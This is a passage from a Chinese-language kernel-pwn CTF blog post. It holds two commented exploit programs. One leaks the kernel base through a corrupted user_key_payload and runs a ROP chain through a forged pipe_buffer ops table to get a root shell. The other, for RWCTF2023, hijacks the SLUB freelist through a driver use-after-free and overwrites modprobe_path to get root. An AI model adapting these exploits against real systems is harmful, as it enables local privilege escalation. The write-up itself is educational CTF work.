\u7b2c\u4e09\u9636\u6bb5\uff1a\u6cc4\u9732\u5185\u6838\u57fa\u5740 ===\n    puts(\"&#91;*] try to make an OOB-read...\");\n    for (int i = 0; i &lt; KEY_SPRAY_NUM; i++) {\n        \/\/ \u5c1d\u8bd5\u8bfb\u53d6\u6bcf\u4e00\u4e2a key\u3002\u5982\u679c\u8bfb\u53d6\u957f\u5ea6\u80fd\u8d85\u8fc7 192 (PIPE_INODE_INFO_SZ)\uff0c\n        \/\/ \u8bf4\u660e\u8fd9\u4e2a key \u5c31\u662f\u88ab\u6211\u4eec\u7be1\u6539\u957f\u5ea6\u7684\u90a3\u4e2a victim\u3002\n        if (key_read(key_id&#91;i], buf, 0x4000) &gt; PIPE_INODE_INFO_SZ) {\n            printf(\"&#91;+] found victim key at idx: %d\\n\", i);\n            victim_key_idx = i;\n        } else {\n            \/\/ \u4e0d\u662f\u53d7\u5bb3\u8005\u5c31\u91ca\u653e\u6389\uff0c\u6e05\u7406\u73af\u5883\n            key_revoke(key_id&#91;i]);\n        }\n    }\n\n    if (victim_key_idx == -1) {\n        err_exit(\"FAILED at corrupt user_key_payload!\");\n    }\n\n    \/\/ \u5728\u8bfb\u53d6\u5230\u7684\u8d8a\u754c\u6570\u636e\u4e2d\u641c\u7d22\u7279\u5b9a\u7684\u5185\u6838\u6307\u9488 (rcu func)\n    kernel_offset = -1;\n    for (int i = 0; i &lt; 0x2000 \/ 8; i++) {\n        \/\/ \u7279\u5f81\u5339\u914d\uff1a\u5730\u5740\u5927\u4e8e\u57fa\u5740\u4e14\u4f4e12\u4f4d\u4e3a 0x210 (USER_FREE_PAYLOAD_RCU \u7684\u7279\u5f81)\n        if (buf&#91;i] &gt; kernel_base &amp;&amp; (buf&#91;i] &amp; 0xfff) == 0x210) {\n            kernel_offset = buf&#91;i] - USER_FREE_PAYLOAD_RCU;\n            kernel_base += kernel_offset;\n            break;\n        }\n    }\n\n    if (kernel_offset == -1) {\n        err_exit(\"FAILED to leak kernel addr!\");\n    }\n    printf(\"\\033&#91;34m\\033&#91;1m&#91;*] Kernel offset: \\033&#91;0m0x%lx\\n\", kernel_offset);\n    printf(\"\\033&#91;32m\\033&#91;1m&#91;+] Kernel base: \\033&#91;0m0x%lx\\n\", kernel_base);\n\n    \/* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr *\/\n    \/\/ === \u7b2c\u56db\u9636\u6bb5\uff1a\u5229\u7528 pipe_inode_info \u6cc4\u9732\u5806\u5730\u5740 ===\n    puts(\"&#91;*] construct UAF on pipe_inode_info...\");\n    \n    \/* 0-&gt;1-&gt;..., the 1 will be the payload object *\/\n    alloc(0, PIPE_INODE_INFO_SZ, buf);\n    alloc(1, PIPE_INODE_INFO_SZ, buf);\n    del(1); \/\/ \u5236\u9020\u7a7a\u6d1e\n    del(0); \/\/ \u5236\u9020\u7a7a\u6d1e\n\n    \/\/ \u7533\u8bf7\u4e00\u4e2a\u65b0\u7684 key \uff0c\u4e34\u65f6\u7ed3\u6784\u4f53\u5360\u4e860\uff0cuser_key_payload\u7ed3\u6784\u4f53\u62ff\u5230\u4e861\n    pipe_key_id = key_alloc(\"arttnba3pipe\", buf, PIPE_INODE_INFO_SZ - 0x18);\n    \n    \/\/ \u518d\u6b21\u5236\u9020 UAF\n    del(1); \n    \n    \/* this object is for the pipe buffer *\/\n    \/\/ \u8fd9\u91cc\u7533\u8bf7\u7684\u662f pipe_buffer \u7ed3\u6784\u4f53\u6240\u9700\u7684\u7a7a\u95f4 \n    alloc(0, PIPE_BUFFER_SZ, buf);\n    del(0); \/\/ \u91ca\u653e\uff0c\u51c6\u5907\u8ba9 pipe \u7cfb\u7edf\u8c03\u7528\u63a5\u7ba1\n\n    \/\/ \u521b\u5efa\u7ba1\u9053\u3002\u5185\u6838\u4f1a\u5206\u914d pipe_inode_info (192\u5b57\u8282)\u548cpipe_buffer\u3002\n    \/\/ \u6b64\u65f60\u662f1024\uff0c1\u662f192\uff0c\u90fd\u662fUAF\u72b6\u6001\uff0c\u6240\u4ee5pipe_inode_info\u4f1a\u5206\u914d\u52301\u4e0euser_key_payload\u91cd\u5408\uff1bpipe_buffer\u4f1a\u88ab\u5206\u914d\u52300\u3002\n    pipe(pipe_fd);\n\n    \/* note that the user_key_payload-&gt;datalen is 0xFFFF now *\/\n    \/\/ \u8bfb\u53d6pipe_inode_info \u7ed3\u6784\u4f53\u540e\u9762\u7684\u5185\u5bb9\uff0c\u6cc4\u9732\u51fa pipe_buffer \u7684\u5730\u5740\u3002\n    retval = key_read(pipe_key_id, buf, 0xffff);\n    \n    \/\/ pipe_inode_info-&gt;bufs \u5b58\u653e\u4e86 pipe_buffer \u6570\u7ec4\u7684\u5730\u5740 (\u5806\u5730\u5740)\n    pipe_buffer_addr = buf&#91;16]; \/* pipe_inode_info-&gt;bufs *\/\n    printf(\"\\033&#91;32m\\033&#91;1m&#91;+] Got pipe_buffer: \\033&#91;0m0x%lx\\n\",\n             pipe_buffer_addr);\n\n    \/* construct fake pipe_buf_operations *\/\n    \/\/ === \u7b2c\u4e94\u9636\u6bb5\uff1a\u6784\u9020 ROP \u94fe\u548c\u865a\u5047\u5bf9\u8c61 ===\n    memset(buf, 'A', sizeof(buf));\n    \n    \/\/ \u4f2a\u9020 pipe_buffer \u7ed3\u6784\u4f53\n    buf&#91;0] = *(size_t*) \"arttnba3\";\n    buf&#91;1] = *(size_t*) \"arttnba3\";\n    \/\/ pipe_buffer-&gt;ops \u6307\u9488\u3002\u6307\u5411\u4f2a\u9020\u7684\u51fd\u6570\u8868 (ops)\u3002\n    \/\/ \u8fd9\u91cc\u6307\u5411 pipe_buffer_addr + 0x18\uff0c\u4e5f\u5c31\u662f buf&#91;3] \u7684\u4f4d\u7f6e\u3002\n    buf&#91;2] = pipe_buffer_addr + 0x18;  \/* pipe_buffer-&gt;ops *\/\n\n    \/* after release(), we got back here *\/\n    \/\/ === \u6784\u9020\u4f2a\u9020\u7684 ops \u8868 ===\n    \/\/ \u8fd9\u91cc\u7684 buf&#91;3] \u5bf9\u5e94 ops-&gt;release \u51fd\u6570\u6307\u9488\u3002\n    \/\/ \u5f53 pipe \u5173\u95ed\u65f6\uff0c\u5185\u6838\u8c03\u7528 release\u3002\n    \/\/ \u52ab\u6301\u5230 POP_RBX... \u8fd9\u91cc\u7684\u5e03\u5c40\u662f\u4e3a\u4e86\u914d\u5408\u6808\u8fc1\u79fb\u540e\u7684 ROP \u94fe\u63a5\u3002\n    buf&#91;3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;\n\n    \/* pipe_buf_operations-&gt;release *\/\n    \/\/ \u5b9e\u9645\u4e0a\u8fd9\u91cc\u624d\u662f\u5173\u952e\u3002release \u6307\u9488\u88ab\u8986\u76d6\u4e3a\u6808\u8fc1\u79fb Gadget\u3002\n    \/\/ PUSH RSI (RSI \u6307\u5411 pipe_buffer \u81ea\u8eab) ; POP RSP ...\n    \/\/ \u5c06\u6808\u8fc1\u79fb\u5230\u5806\u4e0a\u7684 pipe_buffer \u5904\u3002\n    buf&#91;4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;\n\n    \/\/ === ROP Chain \u5f00\u59cb ===\n    buf&#91;5] = *(size_t*) \"arttnba3\";\n    buf&#91;6] = *(size_t*) \"arttnba3\";\n    \n    \/\/ 1. prepare_kernel_cred(0)\n    buf&#91;7] = kernel_offset + POP_RDI_RET;\n    buf&#91;8] = (size_t) NULL; \/\/ \u53c2\u6570 0\n    buf&#91;9] = kernel_offset + PREPARE_KERNEL_CRED;\n    \n    \/\/ 2. \u5c06\u8fd4\u56de\u503c (RAX) \u79fb\u52a8\u5230 RDI\uff0c\u51c6\u5907\u7ed9 commit_creds\n    buf&#91;10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;\n    \n    \/\/ 3. commit_creds(current_cred)\n    buf&#91;11] = kernel_offset + COMMIT_CREDS;\n    \n    \/\/ 4. KPTI Bypass &amp; Return to User\n    \/\/ \u6062\u590d\u6bb5\u5bc4\u5b58\u5668\u3001GS \u5bc4\u5b58\u5668\uff0c\u5e76\u4ece\u6808\u4e0a\u5f39\u56de\u7528\u6237\u6001\u5730\u5740\n    buf&#91;12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;\n    \n    buf&#91;13] = *(size_t*) \"arttnba3\";\n    buf&#91;14] = *(size_t*) \"arttnba3\";\n    \n    \/\/ \u7528\u6237\u6001\u8fd4\u56de\u5730\u5740\u548c\u73af\u5883\n    buf&#91;15] = (size_t) get_root_shell; \/\/ RIP\n    buf&#91;16] = user_cs;\n    buf&#91;17] = user_rflags;\n    buf&#91;18] = user_sp + 8; \/* system() wants it : ( \u4fee\u6b63\u6808\u5bf9\u9f50 *\/\n    buf&#91;19] = user_ss;\n\n    \/\/ \u5c06\u4f2a\u9020\u597d\u7684\u6570\u636e\u901a\u8fc7 ioctl \u5199\u5165\u5185\u6838\u5806\n    del(0); \/\/ \u518d\u6b21 UAF\n    alloc(0, PIPE_BUFFER_SZ, buf); \/\/ \u5199\u5165 payload\n\n    \/* trigger pipe_buf_operations-&gt;release *\/\n    \/\/ === \u7b2c\u516d\u9636\u6bb5\uff1a\u89e6\u53d1 ===\n    puts(\"&#91;*] trigerring pipe_buf_operations-&gt;release()...\");\n    \/\/ \u5173\u95ed\u7ba1\u9053\uff0c\u89e6\u53d1 release -&gt; \u6808\u8fc1\u79fb -&gt; ROP\n    close(pipe_fd&#91;1]);\n    close(pipe_fd&#91;0]);\n\n    return 0;\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"RWCTF2023_%E4%BD%93%E9%AA%8C%E8%B5%9B_%E2%80%93_Digging_into_kernel_1_2\"><\/span>RWCTF2023 \u4f53\u9a8c\u8d5b &#8211; Digging into kernel 1&amp;2<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u9898\u76ee\u76f8\u5f53\u4e8eCISCN-2017 \u7684 babydrive\uff0c\u4fdd\u62a4\u5168\u5f00\uff0c\u8fd9\u9898\u53ef\u4ee5\u7528Digging into kernel 3\u7684\u505a\u6cd5\u6765\u505a\uff0cctfwiki\u4e2d\u7ed9\u4e86\u65b0\u7684\u65b9\u6cd5\u3002\u4e0a\u4e00\u9898\u662f\u901a\u8fc7\u4fee\u6539\u7ed3\u6784\u4f53\u5927\u5c0f\u5b9e\u73b0\u8d8a\u754c\u8bfb\uff0c\u7136\u540e\u8bfb\u53d6\u540e\u9762\u7ed3\u6784\u4f53\u7684\u6307\u9488\u6765\u7b97\u51fakernel\u57fa\u5740\uff1b\u8fd9\u4e00\u9898\u662f\u901a\u8fc7UAF\u6cc4\u9732object\u7684freelist\u6307\u9488\uff0cfreelist\u6307\u9488\u5373\u4e3a\u4e00\u4e2aobject\u7684\u5730\u5740\uff0c\u8be5\u5730\u5740\u540e\u4e09\u4f4d\u53d80\u5c31\u6709\u6982\u7387\u662f\u5806\u57fa\u5740\uff0c\u8fd9\u79cd\u6cc4\u9732\u65b9\u6cd5\u6709\u70b9\u50cf\u7528\u6237\u6001\u7684tcachebin\u6307\u9488\u6cc4\u9732\u5806\u57fa\u5740\uff0c\u800c\u5728\u5185\u6838\u5806\u57fa\u5740+\u00a0<code>0x9d000<\/code>\u5904\u5b58\u653e\u7740\u00a0<code>secondary_startup_64<\/code>\u00a0\u51fd\u6570\u7684\u5730\u5740\uff0c\u6240\u4ee5\u4fee\u6539freelist\u6307\u9488\uff0c\u5206\u914d\u4e00\u4e2a\u5230\u8fd9\u7684object\u5c31\u53ef\u4ee5\u6cc4\u9732\u5185\u6838\u57fa\u5740\u4e86\u3002<\/p>\n\n\n\n<p>\u6cc4\u9732\u57fa\u5740\u540e\u5c31\u662f\u63a7\u5236\u7a0b\u5e8f\u6267\u884c\u6d41\u6765\u63d0\u6743\uff0c\u4e0a\u4e00\u9898\u662f\u6253ROP\uff0c\u8fd9\u91cc\u7ed9\u51fa\u4e86\u53e6\u5916\u4e00\u79cd\u5229\u7528\u65b9\u6cd5\uff0c\u901a\u8fc7\u4fee\u6539modprobe_path \u4ee5 root \u6267\u884c\u7a0b\u5e8f\u6765\u63d0\u6743\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#define _GNU_SOURCE\n#include &lt;fcntl.h>\n#include &lt;stdio.h>\n#include &lt;stdlib.h>\n#include &lt;string.h>\n#include &lt;sys\/ioctl.h>\n#include &lt;unistd.h>\n#include &lt;sched.h>\n\n\/*\n * &#91; \u6838\u5fc3\u5e38\u91cf\u5b9a\u4e49 ]\n * MODPROBE_PATH: \u5185\u6838\u7b26\u53f7 modprobe_path \u7684\u5730\u5740\u3002\n * \u8fd9\u4e2a\u5730\u5740\u901a\u5e38\u901a\u8fc7\u67e5\u770b System.map \u6216 vmlinux \u83b7\u53d6\uff0c\n * \u8ba1\u7b97\u516c\u5f0f\u901a\u5e38\u662f: \u57fa\u5740 + \u504f\u79fb\u3002\u5728\u6b64\u9898\u76ee\u4e2d\u5047\u5b9a\u5df2\u901a\u8fc7\u8c03\u8bd5\u83b7\u5f97\u56fa\u5b9a\u504f\u79fb\u3002\n *\/\n#define MODPROBE_PATH 0xffffffff82444700\n\n\/*\n * &#91; \u63d0\u6743\u8f85\u52a9\u811a\u672c ]\n * \u5f53\u6211\u4eec\u8986\u76d6 modprobe_path \u540e\uff0c\u5185\u6838\u4f1a\u4ee5 root \u6743\u9650\u6267\u884c\u8fd9\u4e2a\u811a\u672c\u3002\n * \u8fd9\u91cc\u6211\u4eec\u5c06 \/flag \u8bbe\u7f6e\u4e3a 777 (\u6240\u6709\u7528\u6237\u53ef\u8bfb)\uff0c\u4ece\u800c\u5728\u666e\u901a\u7528\u6237\u6001\u8bfb\u53d6 flag\u3002\n *\/\n#define ROOT_SCRIPT_PATH  \"\/home\/getshell\"\nchar root_cmd&#91;] = \"#!\/bin\/sh\\nchmod 777 \/flag\";\n\n\/*\n * &#91; \u6570\u636e\u4ea4\u4e92\u7ed3\u6784\u4f53 ]\n * \u5bf9\u5e94\u9a71\u52a8 ioctl \u4e2d copy_from_user \/ copy_to_user \u7684\u683c\u5f0f\n *\/\nstruct Data{\n    size_t *ptr;        \/\/ \u7528\u6237\u6001\u7f13\u51b2\u533a\u6307\u9488\uff0c\u7528\u4e8e\u5b58\u653e\u8bfb\u5199\u7684\u6570\u636e\n    unsigned int offset; \/\/ \u8bfb\u5199\u504f\u79fb (\u9898\u76ee\u9a71\u52a8\u4e2d\u672a\u4f7f\u7528)\n    unsigned int length; \/\/ \u8bfb\u5199\u957f\u5ea6\n};\n\n\/*\n * &#91; \u6838\u5fc3\u7ed1\u5b9a\u51fd\u6570 ]\n * \u76ee\u7684\uff1a\u5c06\u5f53\u524d\u8fdb\u7a0b\u7ed1\u5b9a\u5230 CPU 0\u3002\n * \u539f\u56e0\uff1aLinux Kernel \u7684 SLUB \u5206\u914d\u5668\u662f Per-CPU \u7684\uff08\u6bcf\u4e2a CPU \u6709\u81ea\u5df1\u7684 freelist\uff09\u3002\n * \u5982\u679c\u6211\u4eec\u5728\u5229\u7528\u8fc7\u7a0b\u4e2d\u8fdb\u7a0b\u88ab\u8c03\u5ea6\u5230\u53e6\u4e00\u4e2a CPU\uff0c\u6211\u4eec\u5bf9 freelist \u7684\u4fee\u6539\uff08UAF\uff09\u5c06\u5931\u6548\uff0c\n * \u6216\u8005\u5206\u914d\u5230\u9519\u8bef\u7684 slab \u4e0a\uff0c\u5bfc\u81f4\u5229\u7528\u5931\u8d25\u6216\u5185\u6838\u5d29\u6e83\u3002\n *\/\nvoid bindCore(int core){\n    cpu_set_t cpu_set;\n    CPU_ZERO(&amp;cpu_set);\n    CPU_SET(core, &amp;cpu_set);\n    sched_setaffinity(getpid(), sizeof(cpu_set), &amp;cpu_set);\n    printf(\"\\033&#91;34m\\033&#91;1m&#91;*] Process binded to core \\033&#91;0m%d\\n\", core);\n}\n\n\/\/ \u9519\u8bef\u5904\u7406\u5c01\u88c5\nvoid errExit(char *msg){\n    printf(\"\\033&#91;31m\\033&#91;1m&#91;x] Error at: \\033&#91;0m%s\\n\", msg);\n    exit(EXIT_FAILURE);\n}\n\n\/*\n * &#91; ioctl \u5305\u88c5\u51fd\u6570 ]\n * \u5bf9\u5e94\u9a71\u52a8\u4e2d\u7684 switch case \u529f\u80fd\n *\/\n\/\/ \u7533\u8bf7\u5185\u5b58: \u5bf9\u5e94\u9a71\u52a8 ioctl case 17895697 (\u5206\u914d kmem_cache_alloc)\nvoid allocBuf(int dev_fd, struct Data *data){\n    ioctl(dev_fd, 0x1111111, data);\n}\n\/\/ \u7f16\u8f91\u5185\u5b58: \u5bf9\u5e94\u9a71\u52a8 ioctl case 107374182 (copy_from_user)\nvoid editBuf(int dev_fd, struct Data *data){\n    ioctl(dev_fd, 0x6666666, data);\n}\n\/\/ \u8bfb\u53d6\u5185\u5b58: \u5bf9\u5e94\u9a71\u52a8 ioctl case 125269879 (copy_to_user)\nvoid readBuf(int dev_fd, struct Data *data){\n    ioctl(dev_fd, 0x7777777, data);\n}\n\nint main(int argc, char **argv, char **envp){\n    int dev_fd&#91;5], root_script_fd, flag_fd;\n    size_t kernel_heap_leak, kernel_text_leak;\n    size_t kernel_base, kernel_offset, page_offset_base;\n    char flag&#91;0x100];\n    struct Data data;\n\n    \/* * Step 0: \u57fa\u7840\u73af\u5883\u51c6\u5907 \n     *\/\n    bindCore(0); \/\/ \u7ed1\u5b9a CPU\n\n    \/\/ \u6253\u5f00\u8bbe\u5907\u591a\u6b21\uff0c\u83b7\u53d6\u591a\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26 (fd)\u3002\n    \/\/ \u6f0f\u6d1e\u70b9\uff1a\u9a71\u52a8\u7684 buf \u662f\u5168\u5c40\u53d8\u91cf\u3002close() \u4f1a kfree(buf) \u4f46\u4e0d\u7f6e NULL\u3002\n    \/\/ \u6211\u4eec\u6253\u5f00 fd&#91;0]...fd&#91;4]\uff0c\u5b83\u4eec\u5171\u4eab\u540c\u4e00\u4e2a buf \u6307\u9488\u3002\n    \/\/ \u5f53 close(fd&#91;0]) \u65f6\uff0cbuf \u88ab\u91ca\u653e\uff0c\u4f46 fd&#91;1] \u4f9d\u7136\u53ef\u4ee5\u901a\u8fc7 ioctl \u64cd\u4f5c\u8fd9\u4e2a\u91ce\u6307\u9488\u3002\n    for (int i = 0; i &lt; 5; i++) {\n        dev_fd&#91;i] = open(\"\/dev\/xkmod\", O_RDONLY);\n    }\n\n    \/\/ \u5728\u672c\u5730\u521b\u5efa\u7528\u4e8e\u63d0\u6743\u7684\u811a\u672c\u6587\u4ef6\n    root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);\n    write(root_script_fd, root_cmd, sizeof(root_cmd));\n    close(root_script_fd);\n    system(\"chmod +x \" ROOT_SCRIPT_PATH);\n\n    \/* * Step 1: \u6784\u9020 UAF \u5e76\u6cc4\u9732\u5806\u5730\u5740\n     *\/\n    data.ptr = malloc(0x1000);\n    data.offset = 0;\n    data.length = 0x50; \/\/ \u8bfb\u53d6\u8db3\u591f\u957f\u7684\u6570\u636e\n    memset(data.ptr, 0, 0x1000);\n\n    \/\/ 1. \u5206\u914d\u4e00\u4e2a\u5bf9\u8c61\n    allocBuf(dev_fd&#91;0], &amp;data);\n    \/\/ 2. \u5199\u5165\u4e00\u4e9b\u6570\u636e (\u53ef\u9009\uff0c\u4e3b\u8981\u4e3a\u4e86\u786e\u8ba4\u72b6\u6001)\n    editBuf(dev_fd&#91;0], &amp;data);\n    \/\/ 3. \u91ca\u653e\u5bf9\u8c61 (\u89e6\u53d1 UAF)\u3002buf \u8fdb\u5165 freelist\u3002\n    close(dev_fd&#91;0]);\n\n    \/* * \u6cc4\u9732\u5185\u6838\u5806\u5730\u5740:\n     * SLUB \u5206\u914d\u5668\u4e2d\uff0c\u91ca\u653e\u7684 object \u7684\u524d 8 \u5b57\u8282\u5b58\u653e\u4e0b\u4e00\u4e2a\u7a7a\u95f2 object \u7684\u5730\u5740 (next \u6307\u9488)\u3002\n     * \u901a\u8fc7 fd&#91;1] \u8bfb\u53d6\u8fd9\u4e2a\u5df2\u91ca\u653e\u7684\u5757\uff0c\u5373\u53ef\u83b7\u5f97\u5806\u4e0a\u7684\u6307\u9488\u3002\n     *\/\n    readBuf(dev_fd&#91;1], &amp;data);\n    kernel_heap_leak = data.ptr&#91;0];\n    \n    \/\/ \u731c\u6d4b physmap \u57fa\u5740 (page_offset_base)\n    \/\/ \u5185\u6838\u5806\u5730\u5740\u901a\u5e38\u4f4d\u4e8e\u76f4\u63a5\u6620\u5c04\u533a\u57df (Direct Mapping Area)\u3002\n    \/\/ \u901a\u8fc7\u63a9\u7801\u5c4f\u853d\u4f4e\u4f4d\uff0c\u731c\u6d4b\u5176\u57fa\u5740\u3002\n    page_offset_base = kernel_heap_leak &amp; 0xfffffffff0000000;\n    printf(\"&#91;+] kernel heap leak: 0x%lx\\n\", kernel_heap_leak);\n    printf(\"&#91;!] GUESSING page_offset_base: 0x%lx\\n\", page_offset_base);\n\n    \/* * Step 2: \u52ab\u6301 Freelist \u6cc4\u9732\u5185\u6838\u57fa\u5740\n     * \u76ee\u6807\uff1a\u8bfb\u53d6 secondary_startup_64 (\u4f4d\u4e8e page_offset_base + 0x9d000)\n     *\/\n    puts(\"&#91;*] leaking kernel base...\");\n\n    \/\/ \u6784\u9020 Fake Chunk \u7684 next \u6307\u9488\u3002\n    \/\/ \u6211\u4eec\u6307\u5411 target_addr - 0x10\u3002\n    \/\/ \u539f\u56e0\uff1a\u5f53\u6211\u4eec\u7a0d\u540e\u7533\u8bf7\u5230\u8fd9\u4e2a fake chunk \u65f6\uff0c\u5185\u6838\u4f1a\u628a\u5b83\u5f53\u505a\u4e00\u4e2a object\u3002\n    \/\/ \u5b83\u7684\u524d 8 \u5b57\u8282\u4f1a\u88ab\u89c6\u4f5c freelist \u7684\u4e0b\u4e00\u4e2a\u8282\u70b9\u3002\n    \/\/ \u5982\u679c\u76f4\u63a5\u6307\u5411 target_addr\uff0c\u800c target_addr \u5904\u7684\u6570\u636e\u4e0d\u662f\u5408\u6cd5\u7684\u6307\u9488\uff0c\u5185\u6838\u53ef\u80fd\u4f1a crash\u3002\n    \/\/ \u9009\u53d6 page_offset_base + 0x9d000 \u524d\u9762\u7684\u4e00\u5757\u7a7a\u533a\u57df (0x10 \u5904\u901a\u5e38\u4e3a 0)\uff0c\n    \/\/ \u8fd9\u6837 next \u6307\u9488\u5c31\u662f NULL\uff0c\u4ee3\u8868 freelist \u5230\u5934\u4e86\uff0c\u5185\u6838\u4f1a\u7533\u8bf7\u65b0\u9875\uff0c\u907f\u514d crash\u3002\n    data.ptr&#91;0] = page_offset_base + 0x9d000 - 0x10;\n    data.offset = 0;\n    data.length = 8; \/\/ \u53ea\u4fee\u6539\u524d 8 \u5b57\u8282 (next \u6307\u9488)\n\n    \/\/ &#91;\u5173\u952e] UAF \u5199\uff1a\u4fee\u6539 fd&#91;1] (\u6307\u5411\u5df2\u91ca\u653e\u5757) \u7684\u5185\u5bb9\uff0c\u52ab\u6301 freelist\n    editBuf(dev_fd&#91;1], &amp;data);\n\n    \/\/ \u7b2c\u4e00\u6b21\u5206\u914d\uff1a\u62ff\u8d70\u539f\u672c\u5408\u6cd5\u7684\u90a3\u4e2a free chunk\n    \/\/ \u6b64\u65f6 freelist \u7684 head \u66f4\u65b0\u4e3a\u6211\u4eec\u4f2a\u9020\u7684\u5730\u5740 (page_offset_base + 0x9d000 - 0x10)\n    allocBuf(dev_fd&#91;1], &amp;data);\n\n    \/\/ \u7b2c\u4e8c\u6b21\u5206\u914d\uff1a\u62ff\u8d70\u6211\u4eec\u4f2a\u9020\u7684 fake chunk\uff01\n    \/\/ \u6b64\u65f6\u9a71\u52a8\u7684\u5168\u5c40\u53d8\u91cf buf \u6307\u5411 (page_offset_base + 0x9d000 - 0x10)\n    allocBuf(dev_fd&#91;1], &amp;data);\n\n    \/\/ \u8bfb\u53d6\u6570\u636e\uff1a\u6cc4\u9732\u5185\u6838\u4ee3\u7801\u6bb5\u5730\u5740\n    data.length = 0x40;\n    readBuf(dev_fd&#91;1], &amp;data);\n\n    \/\/ \u68c0\u67e5\u6cc4\u9732\u662f\u5426\u6210\u529f (\u68c0\u67e5\u4f4e 12 bit \u662f\u5426\u7b26\u5408\u9875\u5bf9\u9f50\u7279\u5f81)\n    if ((data.ptr&#91;2] &amp; 0xfff) != 0x30) {\n        printf(\"&#91;!] invalid data leak: 0x%lx\\n\", data.ptr&#91;2]);\n        errExit(\"\\033&#91;31m\\033&#91;1m&#91;x] FAILED TO HIT page_offset_base! TRY AGAIN!\");\n    }\n\n    \/\/ \u8ba1\u7b97\u5185\u6838\u57fa\u5740\n    \/\/ data.ptr&#91;2] \u5bf9\u5e94\u7684\u662f buf + 0x10 \u5904\u7684\u6570\u636e\u3002\n    \/\/ \u56e0\u4e3a buf = target - 0x10\uff0c\u6240\u4ee5 data.ptr&#91;2] \u5c31\u662f target (secondary_startup_64) \u7684\u503c\n    kernel_base = data.ptr&#91;2] - 0x30; \/\/ \u51cf\u53bb\u7b26\u53f7\u504f\u79fb\n    kernel_offset = kernel_base - 0xffffffff81000000; \/\/ \u8ba1\u7b97 KASLR \u504f\u79fb\n    printf(\"\\033&#91;32m\\033&#91;1m&#91;+] kernel base:\\033&#91;0m 0x%lx\\n\", kernel_base);\n    printf(\"\\033&#91;32m\\033&#91;1m&#91;+] kernel offset:\\033&#91;0m 0x%lx\\n\", kernel_offset);\n\n    \/* * Step 3: \u52ab\u6301 modprobe_path \n     * \u539f\u7406\u540c\u4e0a\uff0c\u901a\u8fc7 Freelist Hijacking \u5b9e\u73b0\u4efb\u610f\u5730\u5740\u5199\n     *\/\n    puts(\"&#91;*] hijacking modprobe_path...\");\n\n    \/\/ \u518d\u6b21\u89e6\u53d1 UAF\uff1a\u5206\u914d\u4e00\u4e2a\u65b0\u5757\uff0c\u7136\u540e\u91ca\u653e\u5b83\n    allocBuf(dev_fd&#91;1], &amp;data); \/\/ \u590d\u4f4d\/\u6d88\u8017\n    close(dev_fd&#91;1]);           \/\/ \u91ca\u653e\uff0cbuf \u8fdb\u5165 freelist\n\n    \/\/ \u8ba1\u7b97 modprobe_path \u7684\u771f\u5b9e\u5730\u5740\uff0c\u5e76\u51cf\u53bb 0x10 (\u540c\u6837\u4e3a\u4e86\u5bf9\u9f50\u548c\u9632\u5d29)\n    data.ptr&#91;0] = kernel_offset + MODPROBE_PATH - 0x10;\n    data.offset = 0;\n    data.length = 0x8;\n\n    \/\/ UAF \u5199\uff1a\u52ab\u6301 freelist \u6307\u5411 modprobe_path\n    editBuf(dev_fd&#91;2], &amp;data); \/\/ \u4f7f\u7528 fd&#91;2] \u64cd\u4f5c\uff0c\u56e0\u4e3a fd&#91;1] \u5df2\u7ecf close \u4e86\n\n    \/\/ \u4e24\u6b21\u5206\u914d\uff0c\u8ba9\u5168\u5c40 buf \u6307\u5411 (modprobe_path - 0x10)\n    allocBuf(dev_fd&#91;2], &amp;data); \/\/ \u6d88\u8017\u9996\u5757\n    allocBuf(dev_fd&#91;2], &amp;data); \/\/ \u62ff\u5230 Target Chunk\n\n    \/\/ \u51c6\u5907 Payload: \u6076\u610f\u811a\u672c\u8def\u5f84 \"\/home\/getshell\"\n    \/\/ \u6211\u4eec\u5199\u5165\u5230 data.ptr&#91;2]\uff0c\u4e5f\u5c31\u662f\u504f\u79fb 0x10 \u5904\u3002\n    \/\/ (modprobe_path - 0x10) + 0x10 = modprobe_path\n    strcpy((char *) &amp;data.ptr&#91;2], ROOT_SCRIPT_PATH);\n    data.length = 0x30;\n\n    \/\/ \u4efb\u610f\u5730\u5740\u5199\uff1a\u8986\u76d6 modprobe_path\n    editBuf(dev_fd&#91;2], &amp;data);\n\n    \/* * Step 4: \u89e6\u53d1 modprobe \u5e76\u83b7\u53d6 Flag\n     *\/\n    puts(\"&#91;*] trigerring fake modprobe_path...\");\n\n    \/\/ 1. \u521b\u5efa\u4e00\u4e2a\u53ea\u6709\u975e\u6cd5\u6587\u4ef6\u5934 (\\xff\\xff...) \u7684\u53ef\u6267\u884c\u6587\u4ef6\n    system(\"echo -e '\\\\xff\\\\xff\\\\xff\\\\xff' > \/home\/fake\");\n    system(\"chmod +x \/home\/fake\");\n\n    \/\/ 2. \u5c1d\u8bd5\u6267\u884c\u5b83\u3002\n    \/\/ \u5185\u6838\u89e3\u6790\u5931\u8d25 -> request_module() -> call_modprobe()\n    \/\/ \u6b64\u65f6 call_modprobe \u4f1a\u8c03\u7528\u6211\u4eec\u8986\u76d6\u540e\u7684\u8def\u5f84 \"\/home\/getshell\"\n    system(\"\/home\/fake\");\n\n    \/\/ 3. \u8bfb\u53d6 Flag\n    memset(flag, 0, sizeof(flag));\n    flag_fd = open(\"\/flag\", O_RDWR); \/\/ \u6b64\u65f6 \/flag \u5df2\u7ecf\u662f 777 \u6743\u9650\n    if (flag_fd &lt; 0) {\n        errExit(\"failed to chmod flag!\");\n    }\n    read(flag_fd, flag, sizeof(flag));\n    printf(\"\\033&#91;32m\\033&#91;1m&#91;+] Got flag: \\033&#91;0m%s\\n\", flag);\n\n    return 0;\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u4e3b\u8981\u662f\u8ddf\u7740ctfwiki\u5b66\u3002 \u6808\u6ea2\u51fa Kernel Pwn | CTFSHOW 356\uff08\u5f3a\u7f51\u676f 2018 &#038;# 